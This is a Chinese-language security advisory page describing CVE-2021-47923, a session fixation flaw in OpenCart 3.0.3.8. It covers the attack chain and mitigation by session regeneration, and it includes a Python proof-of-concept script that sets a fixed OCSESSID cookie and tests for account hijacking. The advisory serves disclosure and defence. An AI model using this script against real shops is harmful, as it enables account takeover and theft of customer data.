IPBUF安全漏洞报告
English
CVE-2021-47923 CVSS 9.8 严重

CVE-2021-47923 OpenCart会话固定漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47923
漏洞类型
会话固定
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenCart

相关标签

会话固定OpenCartWeb安全权限绕过CVE-2021-47923

漏洞概述

OpenCart 3.0.3.8版本存在一处严重的会话固定漏洞。该漏洞允许攻击者通过向客户端注入任意OCSESSID cookie值,强制服务器接受并维持该恶意会话标识符。当受害者使用被污染的会话ID进行身份验证后,攻击者即可利用该已知ID劫持用户会话,进而无需密码即可访问受害者的账户数据,执行未授权操作,导致严重的数据泄露风险。

技术细节

该漏洞的核心成因在于OpenCart未在身份验证状态变更时实施严格的会话管理机制。在标准的Web安全实践中,应用程序应当在用户登录(权限提升)时销毁旧会话并重新生成一个新的会话ID(Session Regeneration)。然而,OpenCart 3.0.3.8允许攻击者预先设定一个恶意的`OCSESSID` cookie值。当受害者使用此预设ID完成登录流程时,服务器未能触发会话更新机制,继续沿用攻击者指定的ID。这使得攻击者能够完全控制受害者的登录会话,绕过用户名和密码的验证,直接获取账户控制权,实现账户接管。

攻击链分析

STEP 1
1. 会话注入
攻击者生成一个特定的OCSESSID值,并通过社会工程学或中间人攻击将其注入到受害者的浏览器中。
STEP 2
2. 诱导登录
攻击者诱导受害者访问目标OpenCart网站并使用该受污染的会话ID进行登录。
STEP 3
3. 会话固定
OpenCart服务器在验证受害者凭据后,未重新生成会话ID,继续接受攻击者预设的OCSESSID。
STEP 4
4. 会话劫持
攻击者使用已知的OCSESSID值访问网站,由于服务器认为该会话已认证,攻击者直接获得受害者账户权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_session_fixation(target_url): # The attacker generates a specific session ID malicious_session_id = "fixed_session_id_by_attacker" login_endpoint = target_url + "/index.php?route=account/login" account_endpoint = target_url + "/index.php?route=account/account" # Step 1: Attacker sets the malicious cookie session = requests.Session() session.cookies.set("OCSESSID", malicious_session_id) # Step 2: Victim logs in using the session with the fixed ID # Note: Actual credentials are required for the login to succeed in the test login_data = { "email": "[email protected]", "password": "password" } response = session.post(login_endpoint, data=login_data) # Step 3: Check if the server accepted the fixed session ID after login # If the OCSESSID remains unchanged, the vulnerability is confirmed if "OCSESSID" in session.cookies and session.cookies["OCSESSID"] == malicious_session_id: print("[+] Vulnerability Confirmed: Server accepted the fixed session ID.") # Step 4: Verify attacker can access the account using the fixed ID attacker_session = requests.Session() attacker_session.cookies.set("OCSESSID", malicious_session_id) verify_resp = attacker_session.get(account_endpoint) if verify_resp.status_code == 200 and "Logout" in verify_resp.text: print("[+] Session Hijacking Successful: Attacker accessed the account.") else: print("[-] Target appears patched or not vulnerable.") if __name__ == "__main__": target = "http://localhost/opencart" check_session_fixation(target)

影响范围

OpenCart 3.0.3.8

防御指南

临时缓解措施
建议开发者在用户登录逻辑中强制销毁旧会话并生成新的会话ID。具体而言,在验证用户名和密码成功后,立即调用`session_regenerate_id(true)`,确保攻击者无法知晓新的会话标识符,从而阻断会话固定攻击路径。

参考链接